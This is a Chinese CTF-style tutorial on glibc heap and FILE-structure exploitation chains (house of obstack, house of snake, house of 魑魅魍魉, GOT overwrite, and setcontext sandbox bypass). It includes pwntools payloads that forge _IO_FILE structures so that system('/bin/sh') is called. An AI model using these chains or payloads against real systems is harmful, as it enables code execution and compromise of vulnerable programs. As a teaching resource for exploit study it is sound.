_IO_obstack_file结构体
struct _IO_obstack_file |
_IO_obstack_overflow
- 调用链
_IO_obstack_overflowstatic int _IO_obstack_overflow (FILE *fp, int c)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
int size;
/* Make room for another character. This might as well allocate a
new chunk a memory and moves the old contents over. */
assert (c != EOF); // 此处不可控
obstack_1grow (obstack, c);
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
return c;
}obstack_1grow (obstack, c)_obstack_newchunk (__o, 1)new_chunk = CALL_CHUNKFUN (h, new_size)(*(h)->chunkfun)((h)->extra_arg, (size))
_IO_obstack_xsputn(优先选择)
- 调用链
_IO_obstack_xsputnstatic size_t _IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;
/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n); //执行此函数
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
}
else
fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);
return n;
}obstack_grow (obstack, data, n)obstack_grow(obstack, data, n);
定义:
替换:
({
struct obstack *__o = (obstack);
int __len = (n);
if (__o->next_free + __len > __o->chunk_limit)_obstack_newchunk(__o, __len);
memcpy(__o->next_free, data, __len);
__o->next_free += __len;
(void) 0;
});_obstack_newchunk (__o, __len)void _obstack_newchunk(struct obstack *h, int length) {
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;
/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;
/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN(h, new_size); // 调用函数位置
...
}new_chunk = CALL_CHUNKFUN (h, new_size)第一个参数可控,同时需要保证new_chunk = CALL_CHUNKFUN(h, new_size);
定义:
替换:
(((h)->use_extra_arg) ? (*(h)->chunkfun)((h)->extra_arg, (new_size)) : (*(struct _obstack_chunk *(*) (long) )(h)->chunkfun)((new_size)))(((h)->use_extra_arg)为1(*(h)->chunkfun)((h)->extra_arg, (size))
[[./houseofobstack1.png]]
exp如下 fake_io_addr = heap_addr + 0x1390
obstack_ptr = fake_io_addr + 0x30
fake_io_file = b''
fake_io_file = fake_io_file.ljust(0x58,b'\x00')
fake_io_file += p64(system_addr) # 需要执行的函数
fake_io_file += p64(0)
fake_io_file += p64(fake_io_addr+0xe8) # 执行函数的 rdi
fake_io_file += p64(1) # obstack->use_extra_arg=1
fake_io_file += p64(heap_addr+0x2000) # _IO_lock_t *_lock;
fake_io_file = fake_io_file.ljust(0xc8,b'\x00')
fake_io_file += p64(IO_obstack_jumps_addr + 0x20) # 触发 _IO_obstack_xsputn;
fake_io_file += p64(obstack_ptr) # struct obstack *obstack
print(hex(len(fake_io_file))) # 因为是largebin attack 所以: 0xd8=0xe8-0x10
# pause()
# 执行函数的 rdi 的地址所存储的内容
payload = fake_io_file+ b'/bin/sh\x00'
house of snake(house of obstack plus)
在libc-2.37后由house of obstack转换为house of snake 删除了 _IO_obstack_jumps 但是添加了 _IO_printf_buffer_as_file_jumps 这个新的 _IO_jumps_t 结构体 static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, __printf_buffer_as_file_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};__printf_buffer_as_file_overflow 函数定义如下: static inline bool __attribute_warn_unused_result__
__printf_buffer_has_failed(struct __printf_buffer *buf) {
return buf->mode == __printf_buffer_mode_failed;
}
static int
__printf_buffer_as_file_overflow(FILE *fp, int ch) {
struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;
__printf_buffer_as_file_commit(file);
/* EOF means only a flush is requested. */
if (ch != EOF)
__printf_buffer_putc(file->next, ch);
/* Ensure that flushing actually produces room. */
if (!__printf_buffer_has_failed(file->next)
&& file->next->write_ptr == file->next->write_end)
__printf_buffer_flush(file->next);
...
}__printf_buffer_as_file_overflow 函数将 FILE 结构体转换为 __printf_buffer_as_file 类型,相关定义如下: struct __printf_buffer
{
char *write_base;
char *write_ptr;
char *write_end;
uint64_t written;
enum __printf_buffer_mode mode;
};
struct __printf_buffer_as_file
{
/* Interface to libio. */
FILE stream;
const struct _IO_jump_t *vtable;
/* Pointer to the underlying buffer. */
struct __printf_buffer *next;
};__printf_buffer_as_file_commit ,该函数做了一些检查: static void
__printf_buffer_as_file_commit (struct __printf_buffer_as_file *file)
{
/* Check that the write pointers in the file stream are consistent
with the next buffer. */
assert (file->stream._IO_write_ptr >= file->next->write_ptr);
assert (file->stream._IO_write_ptr <= file->next->write_end);
assert (file->stream._IO_write_base == file->next->write_base);
assert (file->stream._IO_write_end == file->next->write_end);
file->next->write_ptr = file->stream._IO_write_ptr;
}ch是否为EOF决定是否调用 __printf_buffer_putc ,FSOP中调用的_IO_flush_all_lockp函数中是通过_IO_OVERFLOW (fp, EOF)调用到vtable中的overflow函数,因此__printf_buffer_as_file_overflow的参数ch为EOF, 当然,即使调用到了__printf_buffer_putc也只是是做了一些指针记录的数值加减的操作,对此我们不用过多关注
再之后会调用__printf_buffer_flush函数,调用条件是file->next.mode != __printf_buffer_mode_failed且file->next->write_ptr == file->next->write_end
__printf_buffer_flush函数定义如下,这里再次检查file->next.mode != __printf_buffer_mode_failed然后调用__printf_buffer_do_flush函数,参数为file->next
|
如果 file->next.mode = __printf_buffer_mode_obstack(11) 那么会调用 __printf_buffer_flush_obstack 函数 static void
__printf_buffer_do_flush (struct __printf_buffer *buf)
{
switch (buf->mode)
{
...
case __printf_buffer_mode_obstack:
__printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);
return;
}
...
}__printf_buffer_obstack 结构体定义如下: struct __printf_buffer_obstack
{
struct __printf_buffer base;
struct obstack *obstack;
char ch;
};buf->base.write_ptr == &buf->ch + 1 则 __printf_buffer_flush_obstack 会执行 obstack_1grow 宏 void
__printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf)
{
...
if (buf->base.write_ptr == &buf->ch + 1)
{
obstack_1grow (buf->obstack, buf->ch);
...
}
...
}obstack_1grow 宏展开内容如下,可以看到该宏调用了 _obstack_newchunk 函数并将 buf->obstack 作为参数传入 声明位置: obstack.h
定义:
替换:
({
struct obstack *__o = (buf->obstack);
if (__o->next_free + 1 > __o->chunk_limit)_obstack_newchunk(__o, 1);
(*((__o)->next_free)++ = (buf->ch));
(void) 0;
})_obstack_newchunk 函数会执行 CALL_CHUNKFUN 宏,这和前面的 House of 琴瑟琵琶利用链相同 void
_obstack_newchunk (struct obstack *h, int length)
{
...
struct _obstack_chunk *new_chunk;
...
new_chunk = CALL_CHUNKFUN (h, new_size);
...
}__printf_buffer_as_file_overflow函数中: * file->next->mode!=__printf_buffer_mode_failed && file->next->write_ptr == file->next->write_end 2. 在__printf_buffer_as_file_commit函数中: * file->stream._IO_write_ptr >= file->next->write_ptr * file->stream._IO_write_ptr <= file->next->write_end * file->stream._IO_write_base == file->next->write_base * file->stream._IO_write_end == file->next->write_end 3. 在__printf_buffer_flush函数中: * file->next->mode =__printf_buffer_mode_obstack 4. 在__printf_buffer_flush_obstack函数中: * buf->base.write_ptr == &buf->ch + 1 <==> file->next.write_ptr == &(file->next) + 0x30 + 1 5. 在obstack_1grow宏定义中: * (struct __printf_buffer_obstack *) file->obstack->next_free + 1 > (struct __printf_buffer_obstack *) file->obstack->chunk_limit * (h)->use_extra_arg 不为 0 <==> (struct __printf_buffer_obstack *) file->obstack->use_extra_arg != 0 6. 最终调用(struct __printf_buffer_obstack *) file->obstack->chunkfun((struct __printf_buffer_obstack *) file->obstack->extra_arg) [[./houseofsnake1.png]]
house of 秦月汉关
因为puts函数在开始时候会调用strlen, 我们跟随puts函数找到真正的strlen。可以看出puts会调用strlen的PLT表,PLT表跳转到一个*ABS*@got.plt>的地方,里面存储的才是真正的strlen函数地址,改写这个来getshell ### house of 魑魅魍魉 一般来说一类跳表只有一个,但_IO_helper_jumps比较特殊,通过下面可以看出,跳表会根据COMPILE_WPRINTF值不同而生成不同的,但可能libc在编译时调用两次,所以我们可以在内存中看到两个_IO_helper_jumps,每种各一个。其中COMPILE_WPRINTF == 0先生成,COMPILE_WPRINTF == 1后生成
|
同样,面对不同的COMPILE_WPRINTF所对应的helper_file也有所不同,区别在于是否需要伪造struct _IO_wide_data _wide_data;
struct helper_file |
同样,_IO_helper_overflow这个函数在内存中也有 2 份。通过测试发现,如果使用COMPILE_WPRINTF == 0的情况,在攻击过程中s->_IO_write_base会变成largebin->fd_nextsize指针,从而被强制修改无法控制。为了方便,我们使用COMPILE_WPRINTF == 1所生成的_IO_helper_overflow。该函数在攻击过程中的作用是控制_IO_default_xsputn的三个参数
static int _IO_helper_overflow (FILE *s, int c) |
通过上面函数可以清楚看出,在执行size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used)时
FILE *target = ((struct helper_file*) s)->_put_stream可控s->_wide_data->_IO_write_base可控int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base可控
就达成了3个参数可控的要求,然后通过修改((struct helper_file*) s)->_put_stream的vtable指向_IO_str_jumps,使其调用_IO_default_xsputn函数
需要注意的是,s->_wide_data->_IO_write_ptr和s->_wide_data->_IO_write_base是wchar_t *类型,也就是说used实际是(s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base) >> 2,(在 Linux 系统上,宽字符通常使用UTF-32编码表示,而UTF-32使用32位表示一个字符,因此wchar_t类型在Linux上通常为4字节)
_IO_default_xsputn 函数内要绕过的内容较多。该函数在攻击过程中的作用是两次调用 __mempcpy ,第一次利用任意地址写修改 __mempcpy 对应的 got 表中的值,第二次调用 __mempcpy 劫持程序执行流
size_t |
需要绕过内容总结如下 * 需要more > count,能再次返回执行__mempcpy,且要想再次返回执行memcpy,由于此时f->_IO_write_ptr被_IO_str_overflow函数修改为指向"/bin/sh"字符串,因此count = f->_IO_write_end - f->_IO_write_ptr可能为一个很大的值,导致count > more,进而更新count为more,因此再次循环时要求more > 20。由于上一次循环中依次执行了more -= count和more--语句,因此要求more ≥ count + 1 + 21 * 需要count > 20,因此count至少为21
第一次执行__mempcpy (f->_IO_write_ptr, s, count);
_IO_write_ptr为__mempcpy表项s为要写入的内容
再次执行__mempcpy (f->_IO_write_ptr, s, count)
- 需要绕过
if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF),具体绕过方式接下来会介绍 f->_IO_write_ptr为rdi,s为rsi,count为rdx
同样,执行_IO_str_overflow需要绕过内容也比较多。该函数的作用是控制fp->_IO_write_ptr,从而控制_IO_default_xsputn第二次循环中__mempcpy的第一个参数
int _IO_str_overflow (FILE *fp, int c) |
需要绕过内容总结如下: * _flags = 0x400 * fp->_IO_read_ptr为再次执行__mempcpy (f->_IO_write_ptr, s, count);的rdi - 1 * (fp)->_IO_buf_end - (fp)->_IO_buf_base要足够大,一般设置(fp)->_IO_buf_end = 0xFFFFFFFFFFFFFFF0即可
[[./houseofkmwl1.png]]
house of 一骑当千
而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法
ucontext函数族
int getcontext(ucontext_t *ucp); |
getcontext用来获取用户上下文setcontext用来设置用户上下文makecontext操作用户上下文,可以设置执行函数,本质调用setcontextswapcontext进行两个上下文的交换
setcontext
以我们关注的setcontext为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)
ENTRY(__setcontext) |
ucontext结构体
从ucontext函数族中可以看到存在ucontext类型的结构体,也就是传入setcontext的rdi。这个结构体如下。 typedef struct ucontext_t
{
unsigned long int __ctx(uc_flags); // 1个字长
struct ucontext_t *uc_link;//1个字长
stack_t uc_stack; //3个字长
mcontext_t uc_mcontext; //操作部分1
sigset_t uc_sigmask; //操作部分2
struct _libc_fpstate __fpregs_mem; //操作部分3
__extension__ unsigned long long int __ssp[4];//操作部分4
} ucontext_t;
在setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。
uc_sigmask:这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。uc_mcontext:这个就是存储寄存器的结构体,也是我们平时setcontext+53所使用的地方。结构体如下
typedef struct |
typedef greg_t gregset_t[__NGREG]; |
__fpregs_mem:这个所对应的步骤为setcontext中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0
/* Restore the floating-point context. Not the registers, only the |
__ssp:这个所对应的步骤为setcontext中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0
ldmxcsr oMXCSR(%rdx) |
exp
ucontext =b'' |
完全体
house of 琴瑟琵琶
exp
fake_io_addr = heap_addr + 0x1390 |
house of 魑魅魍魉
exp
# largebin_attack 攻击 house_魑魅魍魉 |
总结
将堆的问题转化为几类: 1. 首先是内存修改的次数,有些题目可以多次(2次及以上)修改内存,有些只能一次 2. 修改内存的情况,有些可以任意写,既可以申请到此块内存;有些不能任意写入,只能写入堆值或者unsortbin地址,例如largebin attack 3. 泄露的情况,除了个别方法外,大都需要泄露内存,有些题目还能够再次泄露内存中的数据,例如泄露ptr_guard,我称为二次泄露。除了个别情况外,大部分题目要想实现“二次泄露”必须要能申请到所要泄露的位置,显然,如果不能对内存有任意写的能力,是不可能实现“二次泄露”的(设置flag的沙雕题目除外)
1.修改内存:地址不限、次数不限、数据不限;可二次泄露
这种题目最为简单,2.34之前打hook,2.34及之后打EOP或者wide_IO都可以,如果有IO函数,还可以攻击house of 秦月汉关,基本上都是以tcache为主。
2.修改内存:地址不限、次数不限、数据不限;不可二次泄露
这种题目基本和上面的情况一样,只是在不能二次泄露的情况下,我们可以直接强制改写。
3.修改内存:地址不限、一次、数据不限;可二次泄露
2.34之前打hook,2.34及之后打EOP或者wide_IO都可以。因为可以二次泄露,所以EOP也可以用。
4.修改内存:地址不限、一次、数据不限;不可二次泄露
2.34之前打hook,2.34及之后打vtable,EOP,wide_IO都可以。
说明:从这里开始是个转折,一般如果可以任意改写内存都是可以申请到这一块内存,在这种情况下,改写hook是非常直管且简单的,即使2.34之后没有了hook,也可以通过修改vtable,EOP等手段来进行攻击。而如果无法任意改写内存则只能够通过IO来进行攻击。
5.修改内存:地址不限、次数不限、修改为堆;可二次泄露(不可能)
如果不能任意改写内存,说明无法申请到这个内存,二次泄露基本不太可能。
6.修改内存:地址不限、次数不限、修改为堆;不可二次泄露
能多次修改内存为堆值攻击选择很多,house_of_emma就是一种选择,当然宽字符的板子也没问题。
7.修改内存:地址不限、一次、修改为堆;可二次泄露(不可能)
同5.
8.修改内存:地址不限、一次、修改为堆;不可二次泄露
这种显然必须伪造IO,使用现有的apple、cat、魑魅魍魉、琴瑟琵琶等链进行攻击。







